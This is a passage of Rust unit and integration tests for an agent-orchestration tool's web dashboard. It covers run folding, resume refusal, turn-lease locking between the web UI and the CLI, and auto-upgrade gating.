22883            .find("function updateRunCard")
22884            .expect("updateRunCard exists");
22885        let end = APP_JS
22886            .find("function renderRuns")
22887            .expect("renderRuns exists");
22888
22889        // The builder's published set: the object literal assigned to `refs`.
22890        let builder = &APP_JS[build..update];
22891        let open = builder.find("refs = {").expect("createRunCard sets refs");
22892        let literal = &builder[open + "refs = {".len()..];
22893        let close = literal.find('}').expect("the refs literal is closed");
22894        let published: HashSet<&str> = literal[..close]
22895            .split(',')
22896            // `name` and `name: value` both bind `name`.
22897            .filter_map(|entry| entry.split(':').next())
22898            .map(str::trim)
22899            .filter(|name| !name.is_empty())
22900            .collect();
22901        assert!(
22902            published.len() > 5,
22903            "the refs literal did not parse into names: {published:?}"
22904        );
22905
22906        // What the updaters reach for: every `r.<name>`, where `r` is the
22907        // `const r = row.refs` alias both functions open with.
22908        let mut used: Vec<&str> = Vec::new();
22909        let updaters = &APP_JS[update..end];
22910        for (at, _) in updaters.match_indices("r.") {
22911            // `r` must be the whole identifier, not the tail of another one
22912            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
22913            let before = updaters[..at].chars().next_back();
22914            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
22915                continue;
22916            }
22917            let rest = &updaters[at + 2..];
22918            let len = rest
22919                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
22920                .unwrap_or(rest.len());
22921            if len > 0 {
22922                used.push(&rest[..len]);
22923            }
22924        }
22925        assert!(
22926            used.len() > 5,
22927            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
22928        );
22929
22930        let missing: Vec<&str> = used
22931            .iter()
22932            .copied()
22933            .filter(|name| !published.contains(name))
22934            .collect();
22935        assert!(
22936            missing.is_empty(),
22937            "a run card's updater reaches for {missing:?}, which `createRunCard` \
22938             never put in `refs` - every card will throw and the list will \
22939             render empty under a count line that says otherwise. Published: \
22940             {published:?}"
22941        );
22942    }
22943
22944    #[tokio::test]
22945    async fn folding_from_the_phone_reports_what_it_removed() {
22946        let fx = Fixture::start().await;
22947        let runs = fx.runs();
22948
22949        // A run with no candidates has nothing to fold, which is a 200 with an
22950        // honest count rather than an error: the operator asked for the trees
22951        // to be gone and they are.
22952        let id = "20260901-000000-fold";
22953        write_run(&runs, id, RunStatus::Stalled);
22954        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22955        assert_eq!(res.status, 200);
22956        assert_eq!(res.json()["removed_count"], 0);
22957        assert_eq!(res.json()["run"], id);
22958        assert!(
22959            runs.join(id).exists(),
22960            "a fold keeps the run's record; only the worktrees go"
22961        );
22962    }
22963
22964    #[tokio::test]
22965    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
22966        let fx = Fixture::start().await;
22967        let runs = fx.runs();
22968        let wt = fx.home.path().join("wt").join("magi").join("dead");
22969        let id = "20260901-000000-dead";
22970        std::fs::create_dir_all(runs.join(id)).expect("run dir");
22971        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
22972        std::fs::create_dir_all(&wt).expect("worktree dir");
22973
22974        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
22975        assert_eq!(res.status, 200, "{}", res.body);
22976        assert!(
22977            res.json()["removed_count"].as_u64().unwrap() > 0,
22978            "the worktree this build could not read a state for still went"
22979        );
22980        assert!(
22981            !runs.join(id).exists(),
22982            "an unreadable run has no candidate list to fold selectively, so \
22983             the whole record goes - same as `magi fold` on the CLI"
22984        );
22985    }
22986
22987    #[tokio::test]
22988    async fn deleting_an_unreadable_run_removes_it_wholesale() {
22989        let fx = Fixture::start().await;
22990        let runs = fx.runs();
22991        let wt = fx.home.path().join("wt").join("magi").join("gone");
22992        let id = "20260901-000000-gone";
22993        std::fs::create_dir_all(runs.join(id)).expect("run dir");
22994        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
22995        std::fs::create_dir_all(&wt).expect("worktree dir");
22996
22997        let res = fx.delete(&format!("/api/runs/{id}")).await;
22998        assert_eq!(res.status, 204, "{}", res.body);
22999        assert!(!runs.join(id).exists(), "the broken record is gone");
23000        assert!(!wt.exists(), "its worktree is gone too");
23001    }
23002
23003    #[tokio::test]
23004    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
23005        let fx = Fixture::start().await;
23006        let runs = fx.runs();
23007        let id = "20260901-000000-live";
23008        write_run(&runs, id, RunStatus::Implementing);
23009
23010        let mut beat = crate::daemon::Status::new();
23011        beat.current = vec![crate::daemon::Current {
23012            worker: None,
23013            task: "20260901-000000-task".to_owned(),
23014            run: id.to_owned(),
23015        }];
23016        beat.updated_at = jiff::Timestamp::now();
23017        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23018            .expect("publish a heartbeat");
23019
23020        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
23021        assert_eq!(res.status, 409);
23022        assert!(
23023            res.json()["error"]
23024                .as_str()
23025                .unwrap()
23026                .contains("live daemon"),
23027            "folding under a running agent would pull its worktree away"
23028        );
23029    }
23030
23031    #[tokio::test]
23032    async fn fold_merged_requires_a_pr_url() {
23033        let fx = Fixture::start().await;
23034        let runs = fx.runs();
23035        let id = "20260901-000000-nourl";
23036        write_run(&runs, id, RunStatus::Blocked);
23037
23038        let res = fx
23039            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
23040            .await;
23041        assert_eq!(res.status, 400, "{}", res.body);
23042
23043        let blank = fx
23044            .post(
23045                &format!("/api/runs/{id}/fold-merged"),
23046                Some(r#"{"pr_url":"   "}"#),
23047            )
23048            .await;
23049        assert_eq!(blank.status, 400, "{}", blank.body);
23050    }
23051
23052    #[tokio::test]
23053    async fn fold_merged_is_404_for_an_unknown_run() {
23054        let fx = Fixture::start().await;
23055        let res = fx
23056            .post(
23057                "/api/runs/nosuchrun/fold-merged",
23058                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23059            )
23060            .await;
23061        assert_eq!(res.status, 404, "{}", res.body);
23062    }
23063
23064    #[tokio::test]
23065    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
23066        let fx = Fixture::start().await;
23067        let runs = fx.runs();
23068        let id = "20260901-000000-livemerge";
23069        write_run(&runs, id, RunStatus::Blocked);
23070
23071        let mut beat = crate::daemon::Status::new();
23072        beat.current = vec![crate::daemon::Current {
23073            worker: None,
23074            task: "20260901-000000-task".to_owned(),
23075            run: id.to_owned(),
23076        }];
23077        beat.updated_at = jiff::Timestamp::now();
23078        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23079            .expect("publish a heartbeat");
23080
23081        let res = fx
23082            .post(
23083                &format!("/api/runs/{id}/fold-merged"),
23084                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23085            )
23086            .await;
23087        assert_eq!(res.status, 409, "{}", res.body);
23088        assert!(
23089            res.json()["error"]
23090                .as_str()
23091                .unwrap()
23092                .contains("live daemon"),
23093            "correcting a run's merge underneath a running agent would race \
23094             whatever it is doing to the same `status`/`merge` fields"
23095        );
23096    }
23097
23098    /// A pull request `gh` cannot even ask about (no such remote, no such
23099    /// repository) must never be recorded as a merge on a guess - the same
23100    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
23101    /// command line, reached here through the phone route instead.
23102    #[tokio::test]
23103    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
23104        let fx = Fixture::start().await;
23105        let runs = fx.runs();
23106        let id = "20260901-000000-unconfirmed";
23107        write_run(&runs, id, RunStatus::Blocked);
23108
23109        let res = fx
23110            .post(
23111                &format!("/api/runs/{id}/fold-merged"),
23112                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
23113            )
23114            .await;
23115        assert_eq!(res.status, 400, "{}", res.body);
23116        assert_eq!(
23117            read_run(&runs, id).unwrap().status,
23118            RunStatus::Blocked,
23119            "a pull request that could not be confirmed merged must leave \
23120             the run exactly where it was"
23121        );
23122    }
23123
23124    #[tokio::test]
23125    async fn terminal_runs_cannot_be_resumed() {
23126        let fx = Fixture::start().await;
23127        let runs = fx.runs();
23128
23129        for (status, word) in [
23130            (RunStatus::Merged, "merged"),
23131            (RunStatus::Ready, "ready"),
23132            (RunStatus::Failed, "failed"),
23133        ] {
23134            let id = format!("20260901-000000-{}", &word[..4]);
23135            write_run(&runs, &id, status);
23136            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
23137            assert_eq!(res.status, 409, "{word} must not be resumable");
23138        }
23139    }
23140
23141    #[tokio::test]
23142    async fn resume_is_refused_while_the_loop_is_running() {
23143        let fx = Fixture::start().await;
23144        let runs = fx.runs();
23145        let stalled = "20260901-000000-stal";
23146        write_run(&runs, stalled, RunStatus::Stalled);
23147
23148        // The loop is busy with a *different* run, and that is still a
23149        // refusal: a manual resume must never race whatever the loop itself
23150        // is already driving, whether that is one run or several.
23151        let mut beat = crate::daemon::Status::new();
23152        beat.current = vec![crate::daemon::Current {
23153            worker: None,
23154            task: "20260901-000000-task".to_owned(),
23155            run: "20260901-000000-othr".to_owned(),
23156        }];
23157        beat.updated_at = jiff::Timestamp::now();
23158        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23159            .expect("publish a heartbeat");
23160
23161        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
23162        assert_eq!(res.status, 409);
23163        let err = res.json()["error"].as_str().unwrap().to_owned();
23164        assert!(err.contains("othr"), "it names what the loop is on: {err}");
23165        assert!(err.contains("stop it first"), "{err}");
23166    }
23167
23168    #[test]
23169    fn a_run_cannot_be_resumed_twice_at_once() {
23170        let home = TempDir::new().expect("temp home");
23171        let ui = Ui::new(
23172            Queue::at(home.path().join("queue")),
23173            Questions::at(home.path().join("questions")),
23174            Talks::at(home.path().join("talks")),
23175            home.path().join("runs"),
23176            home.path().to_path_buf(),
23177            PathBuf::from("/repo"),
23178        )
23179        .with_worktrees_root(home.path().join("wt"));
23180        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
23181        let again = ui.begin_resume("20260901-000000-once");
23182        assert!(again.is_err(), "a second tap must not start a second graph");
23183        drop(first);
23184        assert!(
23185            ui.begin_resume("20260901-000000-once").is_ok(),
23186            "and the claim is released when the attempt ends"
23187        );
23188    }
23189
23190    #[test]
23191    fn talk_thinking_tracks_only_its_held_turn_claim() {
23192        let home = TempDir::new().expect("temp home");
23193        let ui = Ui::new(
23194            Queue::at(home.path().join("queue")),
23195            Questions::at(home.path().join("questions")),
23196            Talks::at(home.path().join("talks")),
23197            home.path().join("runs"),
23198            home.path().to_path_buf(),
23199            PathBuf::from("/repo"),
23200        )
23201        .with_worktrees_root(home.path().join("wt"));
23202        let id = "20260901-000000-once";
23203
23204        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
23205        let turn = ui.begin_talk_turn(id).expect("claim turn");
23206        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
23207        assert!(
23208            !ui.is_thinking("20260901-000000-other"),
23209            "one talk's turn does not make another talk busy"
23210        );
23211        drop(turn);
23212        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
23213    }
23214
23215    #[test]
23216    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
23217        let home = TempDir::new().expect("temp home");
23218        let talks = Talks::at(home.path().join("talks"));
23219        let ui = Ui::new(
23220            Queue::at(home.path().join("queue")),
23221            Questions::at(home.path().join("questions")),
23222            talks.clone(),
23223            home.path().join("runs"),
23224            home.path().to_path_buf(),
23225            PathBuf::from("/repo"),
23226        )
23227        .with_worktrees_root(home.path().join("wt"));
23228        let id = "20260901-000000-cross";
23229
23230        let other = Talks::at(home.path().join("talks"))
23231            .claim_turn(id)
23232            .expect("claim")
23233            .expect("the other process wins");
23234        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
23235        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
23236        assert!(
23237            matches!(
23238                ui.begin_talk_turn_unless_pending(id).expect("start"),
23239                TalkTurnStart::Foreign
23240            ),
23241            "a foreign holder is refused, not queued behind"
23242        );
23243        assert!(
23244            !ui.talk_turns.lock().unwrap().live.contains(id),
23245            "a refused claim leaves no in-process entry behind"
23246        );
23247        drop(other);
23248        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
23249        assert!(talks.turn_held(id), "the web turn holds the lease");
23250        drop(turn);
23251        assert!(
23252            !talks.turn_held(id),
23253            "dropping the guard releases the lease"
23254        );
23255    }
23256
23257    fn consult_question(ui: &Ui) -> Question {
23258        let mut q = Question::new(
23259            "20260901-000000-consult".to_owned(),
23260            "implement".to_owned(),
23261            "impl-A".to_owned(),
23262            "Which backend?".to_owned(),
23263            String::new(),
23264            vec!["SQLite".to_owned(), "Redis".to_owned()],
23265        );
23266        ui.questions.put(&mut q).expect("question");
23267        q
23268    }
23269
23270    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
23271        (
23272            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
23273            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
23274        )
23275    }
23276
23277    #[tokio::test]
23278    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
23279        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23280        let q = consult_question(&ui);
23281        let talk = ui.talks.get(&id).expect("talk");
23282        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
23283        let before = consult_snapshot(&ui, &q, &id);
23284        let cli_talks = Talks::at(ui.home.join("talks"));
23285        assert_eq!(
23286            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
23287                .await
23288                .expect("CLI starter"),
23289            crate::consult::Started::Busy
23290        );
23291        assert_eq!(consult_snapshot(&ui, &q, &id), before);
23292        assert!(ui.is_thinking(&id));
23293        drop(guard);
23294        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
23295    }
23296
23297    #[tokio::test]
23298    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
23299        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
23300        let q = consult_question(&ui);
23301        let talk = ui.talks.get(&id).expect("talk");
23302        let started = tmp.path().join("started");
23303        let release = tmp.path().join("release");
23304        let script = tmp.path().join("consult-agent.sh");
23305        std::fs::write(
23306            &script,
23307            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
23308        )
23309        .expect("script");
23310        let mut cfg = stub_config();
23311        cfg.agents[0].id = "mock".to_owned();
23312        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
23313        cfg.agents[0].env = std::collections::BTreeMap::from([
23314            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
23315            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
23316        ]);
23317        let questions = ui.questions.clone();
23318        let cli_talks = Talks::at(ui.home.join("talks"));
23319        let cli_q = q.clone();
23320        let turn = tokio::spawn(async move {
23321            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
23322        });
23323        let ready = tokio::time::timeout(Duration::from_secs(30), async {
23324            while !started.exists() {
23325                tokio::time::sleep(Duration::from_millis(10)).await;
23326            }
23327        })
23328        .await;
23329        // Always release and join the agent, even if readiness or the web
23330        // request fails, so a failed assertion cannot leave a turn behind.
23331        let refusal = if ready.is_ok() {
23332            let before = consult_snapshot(&ui, &q, &id);
23333            let result = talk_say(
23334                State(Arc::clone(&ui)),
23335                Path(id.clone()),
23336                Ok(Json(NewTalkTurn {
23337                    reply_to: None,
23338                    text: "another message".to_owned(),
23339                    attachments: Vec::new(),
23340                })),
23341            )
23342            .await;
23343            Some((result, before, consult_snapshot(&ui, &q, &id)))
23344        } else {
23345            None
23346        };
23347        std::fs::write(&release, "").expect("release agent");
23348        let done = turn.await.expect("join CLI turn");
23349        ready.expect("agent started before deadline");
23350        let (result, before, after) = refusal.expect("web request");
23351        let error = result.expect_err("web must refuse the CLI's turn");
23352        assert_eq!(error.status, StatusCode::CONFLICT);
23353        assert!(error.message.contains("a turn is already running"));
23354        assert_eq!(
23355            after, before,
23356            "refusal preserves question, draft and history"
23357        );
23358        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
23359        let guard = ui
23360            .begin_talk_turn(&id)
23361            .expect("web claim")
23362            .expect("free again");
23363        drop(guard);
23364    }
23365
23366    #[test]
23367    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
23368        let home = TempDir::new().expect("temp home");
23369        let talks = Talks::at(home.path().join("talks"));
23370        let ui = Ui::new(
23371            Queue::at(home.path().join("queue")),
23372            Questions::at(home.path().join("questions")),
23373            talks.clone(),
23374            home.path().join("runs"),
23375            home.path().to_path_buf(),
23376            PathBuf::from("/repo"),
23377        )
23378        .with_worktrees_root(home.path().join("wt"));
23379        let id = "20260901-000000-order";
23380        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
23381        // Hold the slot mutex so the drop can finish the lease but not the slot.
23382        let slots = ui.talk_turns.lock().unwrap();
23383        let dropper = std::thread::spawn(move || drop(turn));
23384        let start = std::time::Instant::now();
23385        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
23386            std::thread::sleep(Duration::from_millis(5));
23387        }
23388        assert!(!talks.turn_held(id), "the lease is released first");
23389        assert!(slots.live.contains(id), "the slot is still held meanwhile");
23390        drop(slots);
23391        dropper.join().expect("join");
23392        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
23393    }
23394
23395    #[tokio::test]
23396    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
23397        let fx = Fixture::start().await;
23398        let mut beat = crate::daemon::Status::new();
23399        beat.worker_protocol = None;
23400        beat.pid = 4321;
23401        beat.updated_at = jiff::Timestamp::now();
23402        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23403            .expect("publish a heartbeat");
23404
23405        let res = fx.post("/api/upgrade", None).await;
23406        assert_eq!(res.status, 409);
23407    }
23408
23409    /// [`should_spawn_recheck`] must refuse for the same two reasons
23410    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
23411    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
23412    /// Purely a predicate over config and the environment - no network, no
23413    /// disk, no runtime - so unlike the fixture-based tests around it this
23414    /// one needs neither.
23415    #[test]
23416    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
23417        assert!(!should_spawn_recheck(&crate::config::Update {
23418            mode: UpdateMode::Off,
23419            interval: None,
23420            auto_restart: false,
23421        }));
23422
23423        // SAFETY: single-threaded as far as this variable goes, the same
23424        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
23425        unsafe {
23426            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23427        }
23428        let killed = should_spawn_recheck(&crate::config::Update {
23429            mode: UpdateMode::Notify,
23430            interval: None,
23431            auto_restart: false,
23432        });
23433        unsafe {
23434            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23435        }
23436        assert!(
23437            !killed,
23438            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
23439             one-time startup check"
23440        );
23441
23442        assert!(should_spawn_recheck(&crate::config::Update {
23443            mode: UpdateMode::Notify,
23444            interval: None,
23445            auto_restart: false,
23446        }));
23447    }
23448
23449    /// [`recheck_poll_period`] must track a configured `[update] interval`
23450    /// shorter than its own default ceiling - a fixed sleep here would leave
23451    /// an operator's short interval waiting on the next wake-up instead of on
23452    /// `should_check`, which is the same bug this whole task exists to fix,
23453    /// just one level down.
23454    #[test]
23455    fn recheck_poll_period_tracks_a_short_configured_interval() {
23456        let short = crate::config::Update {
23457            mode: UpdateMode::Notify,
23458            interval: Some("1m".to_owned()),
23459            auto_restart: false,
23460        };
23461        let period = recheck_poll_period(&short);
23462        assert!(
23463            period <= Duration::from_secs(30),
23464            "a one-minute interval must wake the task far sooner than the \
23465             default ceiling, or the deck would not notice within the \
23466             interval the operator configured: got {period:?}"
23467        );
23468
23469        let default = crate::config::Update {
23470            mode: UpdateMode::Notify,
23471            interval: None,
23472            auto_restart: false,
23473        };
23474        assert_eq!(
23475            recheck_poll_period(&default),
23476            UPDATE_RECHECK_POLL_MAX,
23477            "the default day-long interval should poll at the (capped) \
23478             ceiling rather than needlessly often"
23479        );
23480    }
23481
23482    /// [`update_recheck_due`] must not repeat a check made moments ago, the
23483    /// same throttle `updater::Checker::should_check` already gives the
23484    /// CLI's notify mode. Built over an explicit state file via
23485    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
23486    /// write the operator's real `last_update_check.json` - and therefore
23487    /// cannot flake on whatever that file happens to say on the machine
23488    /// running the test.
23489    #[test]
23490    fn recheck_skips_the_network_before_the_interval_elapses() {
23491        let dir = TempDir::new().expect("temp dir");
23492        let path = dir.path().join("state.json");
23493        let state = kaishin::UpdateCheckState {
23494            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
23495            last_known_latest: None,
23496            last_known_url: None,
23497        };
23498        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
23499
23500        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
23501        assert!(
23502            !update_recheck_due(&checker, None),
23503            "a check made moments ago must not be repeated before the \
23504             configured interval elapses"
23505        );
23506    }
23507
23508    /// An upgrade this deck already started must not be raced by a recheck
23509    /// that discovers a newer release mid-install - regardless of what
23510    /// `should_check` says, which is why the state file here is missing
23511    /// entirely: read alone, that alone would answer "never checked, go
23512    /// ahead".
23513    #[test]
23514    fn recheck_defers_to_an_upgrade_already_in_flight() {
23515        let dir = TempDir::new().expect("temp dir");
23516        let path = dir.path().join("state.json");
23517        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
23518        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
23519
23520        assert!(
23521            !update_recheck_due(&checker, Some(&progress)),
23522            "a recheck must not run while an upgrade this deck started is \
23523             still moving"
23524        );
23525    }
23526
23527    #[tokio::test]
23528    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
23529        // The same env var the background check honours (`disabled_by_env`)
23530        // must also stop a button press before it ever calls
23531        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
23532        // means "never contact GitHub from this process", and a tap on the
23533        // upgrade button must not override that any more than a broken
23534        // `magi.toml` may. Left unset, this fixture's default config would
23535        // otherwise reach a real, unauthenticated GitHub call.
23536        //
23537        // SAFETY: single-threaded as far as this variable goes - nothing else
23538        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
23539        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
23540        unsafe {
23541            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
23542        }
23543        let fx = Fixture::start().await;
23544        let res = fx.post("/api/upgrade", None).await;
23545        unsafe {
23546            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
23547        }
23548        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23549        let body = res.json();
23550        assert!(body["to"].is_null(), "there was no release to move to");
23551        assert!(body["parked"].is_null(), "and nothing was parked");
23552        assert!(
23553            body["detail"]
23554                .as_str()
23555                .unwrap()
23556                .contains("disabled by MAGI_NO_AUTOUPDATE"),
23557            "{body:?}"
23558        );
23559    }
23560
23561    #[test]
23562    fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
23563        use AutoUpgradeDecision::{Skip, Trigger, Wait};
23564        let mut cfg = Update::default();
23565        assert!(matches!(
23566            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23567            Skip(_)
23568        ));
23569        cfg.auto_restart = true;
23570        assert_eq!(
23571            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23572            Trigger
23573        );
23574        assert_eq!(
23575            auto_upgrade_decision(&cfg, false, false, true, "v2", None),
23576            Wait
23577        );
23578        for (disabled, moving, failed) in [
23579            (true, false, None),
23580            (false, true, None),
23581            (false, false, Some("v2")),
23582        ] {
23583            assert!(matches!(
23584                auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
23585                Skip(_)
23586            ));
23587        }
23588        assert_eq!(
23589            auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
23590            Trigger
23591        );
23592        cfg.mode = UpdateMode::Off;
23593        assert!(matches!(
23594            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
23595            Skip(_)
23596        ));
23597    }
23598
23599    #[test]
23600    fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
23601        let home = TempDir::new().unwrap();
23602        let ui = idle_ui(&home);
23603        assert!(!ui.auto_upgrade_busy());
23604        let directory = home.path().join("workers/jobs/abcdef");
23605        std::fs::create_dir_all(&directory).unwrap();
23606        let mut job = crate::worker::Job {
23607            id: "abcdef".into(),
23608            sequence: 1,
23609            kind: "scheduler".into(),
23610            key: "scheduler".into(),
23611            payload: serde_json::json!({}),
23612            generation: "test".into(),
23613            version: None,
23614            status: crate::worker::Status::Running,
23615            result: None,
23616            pid: None,
23617            created_at: 0,
23618            finished_at: None,
23619        };
23620        let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
23621        let write = |job: &crate::worker::Job| {
23622            std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
23623        };
23624        write(&job);
23625        assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
23626        for kind in ["task", "chat"] {
23627            job.kind = kind.into();
23628            write(&job);
23629            assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
23630        }
23631        drop(lease);
23632        // Lease::drop explicitly unlocks even if a concurrent fork inherited
23633        // the descriptor. Check the real decision directly: a raw flock probe
23634        // here could itself be inherited and keep the worker looking busy.
23635        assert!(
23636            !ui.auto_upgrade_busy(),
23637            "completed execution permits updates"
23638        );
23639        std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
23640        assert!(
23641            ui.auto_upgrade_busy(),
23642            "unreadable worker state defers updates"
23643        );
23644    }
23645
23646    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
23647        Box::pin(async { anyhow::bail!("test installer failed") })
23648    }
23649
23650    #[tokio::test]
23651    async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
23652        let home = TempDir::new().unwrap();
23653        std::fs::write(
23654            home.path().join("magi.toml"),
23655            "[update]\nauto_restart = true\n",
23656        )
23657        .unwrap();
23658        let mut ui = idle_ui(&home);
23659        ui.repo = home.path().to_path_buf();
23660        // Every successful trigger in this test uses this seam, never the installer.
23661        ui.upgrade_runner = fail_test_upgrade;
23662        let ui = Arc::new(ui);
23663        let latest = || {
23664            Some(kaishin::LatestRelease {
23665                tag_name: "v999.0.0".into(),
23666                html_url: String::new(),
23667            })
23668        };
23669        ui.talk_turns.lock().unwrap().live.insert("busy".into());
23670        assert_eq!(
23671            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23672                .await
23673                .status(),
23674            StatusCode::NO_CONTENT
23675        );
23676        assert!(updater::read_progress(home.path()).is_none());
23677        ui.talk_turns.lock().unwrap().live.clear();
23678        let gate = ui.upgrade_gate.lock().await;
23679        assert_eq!(
23680            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23681                .await
23682                .status(),
23683            StatusCode::CONFLICT
23684        );
23685        drop(gate);
23686        assert_eq!(
23687            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23688                .await
23689                .status(),
23690            StatusCode::ACCEPTED
23691        );
23692        let progress = updater::read_progress(home.path()).unwrap();
23693        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
23694        assert_eq!(progress.stage, updater::Stage::Downloading);
23695        assert!(progress.parked_run.is_none());
23696        assert!(ui.start_detached_loop().await.is_err());
23697        assert!(ui.start_loop(None).is_err());
23698        assert!(ui.begin_resume("late").is_err());
23699        tokio::time::timeout(Duration::from_secs(2), async {
23700            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
23701                tokio::task::yield_now().await;
23702            }
23703        })
23704        .await
23705        .unwrap();
23706        let progress = updater::read_progress(home.path()).unwrap();
23707        assert_eq!(progress.stage, updater::Stage::Failed);
23708        assert_eq!(
23709            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23710                .await
23711                .status(),
23712            StatusCode::NO_CONTENT
23713        );
23714        // The manual shared path records the same progress and runs the same seam.
23715        let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
23716        assert_eq!(
23717            finish_upgrade_request(&ui, result).status(),
23718            StatusCode::ACCEPTED
23719        );
23720        assert_eq!(
23721            updater::read_progress(home.path()).unwrap().trigger,
23722            updater::UpgradeTrigger::Manual
23723        );
23724        tokio::time::timeout(Duration::from_secs(2), async {
23725            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
23726                tokio::task::yield_now().await;
23727            }
23728        })
23729        .await
23730        .unwrap();
23731    }
23732
23733    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
23734        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
23735        p.stage = stage;
23736        p
23737    }
23738
23739    #[test]
23740    fn busy_stages_match_the_ui_set() {
23741        use crate::updater::Stage;
23742        assert!(APP_JS.contains(
23743            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
23744        ));
23745        for s in [
23746            Stage::Downloading,
23747            Stage::Replaced,
23748            Stage::Parking,
23749            Stage::Restarting,
23750        ] {
